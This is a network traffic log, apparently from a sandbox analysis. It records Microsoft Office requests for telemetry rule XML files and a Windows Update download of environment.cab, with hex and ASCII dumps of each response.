2024-10-26 11:45:46 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:45 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0A2434F" x-ms-request-id: 3452001d-001e-0065-12df-250b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114545Z-16849878b785jrf8dn0d2rczaw000000034g000000007f68 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:46 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 6e 65 4e 6f 74 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OneNote.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOn

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.5	49861	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:46 UTC	192	OUT	GET /rules/rule700150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:46 UTC	584	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:46 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE54CA33F" x-ms-request-id: e9bbe3b2-401e-005b-3496-259c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114546Z-16849878b7898p5f6vryaqvp5800000002qg00000000f0tw x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:46 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 6e 65 4e 6f 74 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 6e 65 4e 6f 74 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OneNote" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOneNote" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.5	49863	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:47 UTC	192	OUT	GET /rules/rule703450v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:47 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:47 GMT Content-Type: text/xml Content-Length: 1372 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6669CA7" x-ms-request-id: c583980c-101e-008e-1237-26cf88000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114547Z-17c5cb586f67hfgj2durhqcxk800000000ug000000003uqy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:47 UTC	1372	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703450" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OfficeMobile" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOfficeMobile" S="Medium" /> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.5	49862	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:47 UTC	192	OUT	GET /rules/rule703451v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:47 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:47 GMT Content-Type: text/xml Content-Length: 1409 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFC438CF" x-ms-request-id: c53c8a19-f01e-0096-07f7-2110ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114547Z-16849878b78tg5n42kspfr0x48000000021g000000003dta x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:47 UTC	1409	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703451" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OfficeMobile.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTo

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.5	49864	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:47 UTC	192	OUT	GET /rules/rule700901v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:47 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:47 GMT Content-Type: text/xml Content-Length: 1408 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1038EF2" x-ms-request-id: 94cf4c5c-c01e-0034-1914-272af6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114547Z-16849878b78zqkvcwgr6h55x9n00000001bg00000000bdzq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:47 UTC	1408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 39 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4e 61 74 75 72 61 6c 4c 61 6e 67 75 61 67 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700901" V="1" DC="SM" EN="Office.Telemetry.Event.Office.NaturalLanguage.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.5	49866	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:47 UTC	192	OUT	GET /rules/rule700900v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:48 UTC	584	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:48 GMT Content-Type: text/xml Content-Length: 1371 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:06 GMT ETag: "0x8DC582BED3D048D" x-ms-request-id: a26538b7-d01e-0082-1ccb-26e489000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114548Z-17c5cb586f672xmrz843mf85fn00000000vg0000000010dc x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:48 UTC	1371	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 39 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4e 61 74 75 72 61 6c 4c 61 6e 67 75 61 67 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6f 66 69 6e 67 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700900" V="1" DC="SM" EN="Office.Telemetry.Event.Office.NaturalLanguage" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProofing" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.5	49867	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:47 UTC	192	OUT	GET /rules/rule702251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:48 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:48 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE0F427E7" x-ms-request-id: bdc34fbf-001e-0017-613b-260c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114548Z-17c5cb586f6mkpfk79wxvcahc000000002a00000000081fp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:48 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4d 4c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4d 4c 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.ML.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenML" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.5	49868	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:48 UTC	192	OUT	GET /rules/rule702250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:48 UTC	584	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:48 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDD0A87E5" x-ms-request-id: dd440b1a-a01e-003d-1afb-2598d7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114548Z-r197bdfb6b46kdskt78qagqq1c0000000200000000008wpc x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:48 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4d 4c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4d 4c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.ML" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenML" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.5	49870	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:48 UTC	192	OUT	GET /rules/rule702651v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:49 UTC	584	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:48 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDEC600CC" x-ms-request-id: 2d748408-801e-0048-3eee-25f3fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114548Z-16849878b78bcpfn2qf7sm6hsn00000003qg0000000000yu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-26 11:45:49 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 36 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4d 65 64 69 61 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4d 65 64 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702651" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Media.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenMedi

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.5	49871	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:48 UTC	192	OUT	GET /rules/rule702650v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:49 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:48 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDEA1B544" x-ms-request-id: 4beff56d-d01e-0066-3a13-25ea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114548Z-r197bdfb6b466qclztvgs64z1000000003f0000000004npw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:49 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 36 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4d 65 64 69 61 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4d 65 64 69 61 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702650" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Media" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenMedia" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
146	192.168.2.5	49869	4.175.87.197	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:48 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=mGUGTxVnaTUuxkx&MD=Fnl7T5MM HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-10-26 11:45:49 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: f92d9330-35fb-40e4-a0a3-9d83c9f9e1fc MS-RequestId: 4ddeeea5-7611-4152-ad16-601167264d63 MS-CV: zvgLoIU2/UO5sEik.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Sat, 26 Oct 2024 11:45:48 GMT Connection: close Content-Length: 30005
2024-10-26 11:45:49 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-10-26 11:45:49 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

